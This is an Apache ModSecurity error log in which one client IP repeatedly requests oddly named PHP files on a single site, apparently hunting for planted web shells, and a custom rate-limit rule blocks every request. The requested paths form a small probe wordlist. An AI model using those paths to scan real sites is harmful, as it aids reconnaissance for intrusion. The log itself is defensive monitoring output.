[Tue Mar 24 05:26:15.774295 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:6531] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layou.php"] [unique_id "acGv96JBKytnG47nuibXHAAAAFE"]
[Tue Mar 24 05:26:17.238361 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:24451] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layou.php"] [unique_id "acGv-QyOuILyynfcqfnyvwAAABQ"]
[Tue Mar 24 05:26:17.848633 2026] [:error] [pid 3030:tid 3067] [client 172.213.136.15:33938] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layou.php"] [unique_id "acGv-QyOuILyynfcqfnywQAAABI"]
[Tue Mar 24 05:26:18.466551 2026] [:error] [pid 3030:tid 3049] [client 172.213.136.15:31378] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layou.php"] [unique_id "acGv-gyOuILyynfcqfnywgAAAAA"]
[Tue Mar 24 05:26:19.351729 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:25642] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgsts.php"] [unique_id "acGv-6JBKytnG47nuibXMQAAAEA"]
[Tue Mar 24 05:26:19.988768 2026] [:error] [pid 3031:tid 3095] [client 172.213.136.15:21335] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgsts.php"] [unique_id "acGv-6JBKytnG47nuibXNAAAAFM"]
[Tue Mar 24 05:26:20.814619 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:24854] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgsts.php"] [unique_id "acGv_PwkUqN4GJAI5oVttwAAAQM"]
[Tue Mar 24 05:26:21.412515 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:25634] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgsts.php"] [unique_id "acGv_ZdZesutm6dfYM_b2AAAAMo"]
[Tue Mar 24 05:26:22.132585 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:25358] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tourpa.php"] [unique_id "acGv_pdZesutm6dfYM_b3gAAAM0"]
[Tue Mar 24 05:26:23.272436 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:25206] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tourpa.php"] [unique_id "acGv_5dZesutm6dfYM_b4QAAANI"]
[Tue Mar 24 05:26:24.097192 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:40223] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tourpa.php"] [unique_id "acGwAKJBKytnG47nuibXSQAAAEw"]
[Tue Mar 24 05:26:24.707594 2026] [:error] [pid 3031:tid 3084] [client 172.213.136.15:33436] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tourpa.php"] [unique_id "acGwAKJBKytnG47nuibXTQAAAEg"]
[Tue Mar 24 05:26:25.509466 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:23223] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acGwAfwkUqN4GJAI5oVtvQAAARY"]
[Tue Mar 24 05:26:26.354592 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:33453] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acGwAvwkUqN4GJAI5oVtwgAAAQc"]
[Tue Mar 24 05:26:27.033572 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:6203] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acGwA6JBKytnG47nuibXVwAAAEA"]
[Tue Mar 24 05:26:27.686691 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:27216] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acGwAya_-JXXD03-JNzCoAAAAIw"]
[Tue Mar 24 05:26:28.370570 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:39095] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yvtuizub.php"] [unique_id "acGwBJdZesutm6dfYM_b6QAAAM0"]
[Tue Mar 24 05:26:29.261008 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:6676] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yvtuizub.php"] [unique_id "acGwBfwkUqN4GJAI5oVtygAAAQg"]
[Tue Mar 24 05:26:29.890968 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:31373] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yvtuizub.php"] [unique_id "acGwBaJBKytnG47nuibXZwAAAEA"]
[Tue Mar 24 05:27:00.051431 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:28922] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clcdu.php"] [unique_id "acGwJCa_-JXXD03-JNzCyQAAAIM"]
[Tue Mar 24 05:27:00.772669 2026] [:error] [pid 3032:tid 3107] [client 172.213.136.15:26007] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clcdu.php"] [unique_id "acGwJCa_-JXXD03-JNzCywAAAIQ"]
[Tue Mar 24 05:27:01.773053 2026] [:error] [pid 3032:tid 3111] [client 172.213.136.15:32459] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clcdu.php"] [unique_id "acGwJSa_-JXXD03-JNzCzgAAAIg"]
[Tue Mar 24 05:27:02.662999 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:39930] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clcdu.php"] [unique_id "acGwJpdZesutm6dfYM_cJwAAANc"]
[Tue Mar 24 05:27:04.333290 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:21428] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wnwl19.php"] [unique_id "acGwKPwkUqN4GJAI5oVuIgAAARI"]
[Tue Mar 24 05:27:05.351074 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:28918] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wnwl19.php"] [unique_id "acGwKfwkUqN4GJAI5oVuJwAAAQ0"]
[Tue Mar 24 05:27:06.131077 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:6521] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wnwl19.php"] [unique_id "acGwKvwkUqN4GJAI5oVuLAAAAQo"]
[Tue Mar 24 05:27:07.913855 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:27639] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wnwl19.php"] [unique_id "acGwK_wkUqN4GJAI5oVuOAAAAQ0"]
[Tue Mar 24 05:27:08.751374 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:24823] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "acGwLPwkUqN4GJAI5oVuQAAAARE"]
[Tue Mar 24 05:27:09.736902 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:24817] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "acGwLSa_-JXXD03-JNzC1QAAAI8"]
[Tue Mar 24 05:27:10.853828 2026] [:error] [pid 3030:tid 3060] [client 172.213.136.15:37836] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "acGwLgyOuILyynfcqfny7QAAAAs"]
[Tue Mar 24 05:27:11.953107 2026] [:error] [pid 3031:tid 3083] [client 172.213.136.15:30846] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "acGwL6JBKytnG47nuibXlgAAAEc"]
[Tue Mar 24 05:27:12.805025 2026] [:error] [pid 3031:tid 3097] [client 172.213.136.15:27626] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doo.php"] [unique_id "acGwMKJBKytnG47nuibXlwAAAFU"]
[Tue Mar 24 05:27:14.523073 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:25923] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doo.php"] [unique_id "acGwMia_-JXXD03-JNzC2QAAAJU"]
[Tue Mar 24 05:27:15.607459 2026] [:error] [pid 3032:tid 3123] [client 172.213.136.15:25730] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doo.php"] [unique_id "acGwMya_-JXXD03-JNzC3AAAAJQ"]
[Tue Mar 24 05:27:16.772493 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:6377] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doo.php"] [unique_id "acGwNPwkUqN4GJAI5oVuWAAAAQM"]
[Tue Mar 24 05:27:17.666043 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:29278] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Jcrop.php"] [unique_id "acGwNZdZesutm6dfYM_cOwAAAMk"]
[Tue Mar 24 05:27:18.775634 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:23891] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Jcrop.php"] [unique_id "acGwNvwkUqN4GJAI5oVuYAAAARQ"]
[Tue Mar 24 05:27:19.675044 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:36750] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Jcrop.php"] [unique_id "acGwN_wkUqN4GJAI5oVuZgAAAQ8"]
[Tue Mar 24 05:27:20.805842 2026] [:error] [pid 3032:tid 3116] [client 172.213.136.15:21399] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Jcrop.php"] [unique_id "acGwOCa_-JXXD03-JNzC6wAAAI0"]
[Tue Mar 24 05:27:21.585836 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:32456] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rx.php"] [unique_id "acGwOSa_-JXXD03-JNzC7QAAAJY"]
[Tue Mar 24 05:27:22.760950 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:30987] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rx.php"] [unique_id "acGwOpdZesutm6dfYM_cPwAAAMw"]
[Tue Mar 24 05:27:24.367717 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:31003] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rx.php"] [unique_id "acGwPAyOuILyynfcqfny-gAAABU"]
[Tue Mar 24 05:27:25.399673 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:35054] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rx.php"] [unique_id "acGwPfwkUqN4GJAI5oVuegAAARI"]
[Tue Mar 24 05:27:26.749972 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:24711] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sup.php"] [unique_id "acGwPia_-JXXD03-JNzC8wAAAIM"]
[Tue Mar 24 05:27:27.791664 2026] [:error] [pid 3030:tid 3055] [client 172.213.136.15:35017] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sup.php"] [unique_id "acGwPwyOuILyynfcqfnzAAAAAAY"]
[Tue Mar 24 05:27:28.837110 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:32469] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sup.php"] [unique_id "acGwQJdZesutm6dfYM_cQwAAAMI"]
[Tue Mar 24 05:27:31.040964 2026] [:error] [pid 3031:tid 3084] [client 172.213.136.15:25755] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sup.php"] [unique_id "acGwQ6JBKytnG47nuibXsAAAAEg"]
[Tue Mar 24 05:27:32.760205 2026] [:error] [pid 3030:tid 3057] [client 172.213.136.15:21387] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asax.php"] [unique_id "acGwRAyOuILyynfcqfnzCQAAAAg"]
[Tue Mar 24 05:27:34.482306 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:29547] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asax.php"] [unique_id "acGwRpdZesutm6dfYM_cRwAAAMU"]
[Tue Mar 24 05:27:35.908139 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:25958] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asax.php"] [unique_id "acGwRya_-JXXD03-JNzDBAAAAIc"]
[Tue Mar 24 05:27:36.737889 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:23934] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asax.php"] [unique_id "acGwSJdZesutm6dfYM_cTAAAAMI"]
[Tue Mar 24 05:27:38.565215 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:21404] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assacc.php"] [unique_id "acGwSvwkUqN4GJAI5oVuhQAAARY"]
[Tue Mar 24 05:27:39.402176 2026] [:error] [pid 3032:tid 3127] [client 172.213.136.15:21551] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assacc.php"] [unique_id "acGwSya_-JXXD03-JNzDBgAAAJc"]
[Tue Mar 24 05:27:40.825538 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:28674] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assacc.php"] [unique_id "acGwTPwkUqN4GJAI5oVuiwAAAQ4"]
[Tue Mar 24 05:27:42.340889 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:7145] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assacc.php"] [unique_id "acGwTvwkUqN4GJAI5oVukAAAARY"]
[Tue Mar 24 05:27:43.196005 2026] [:error] [pid 3137:tid 3142] [client 172.213.136.15:21538] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baixy.php"] [unique_id "acGwT5dZesutm6dfYM_cWwAAAMM"]
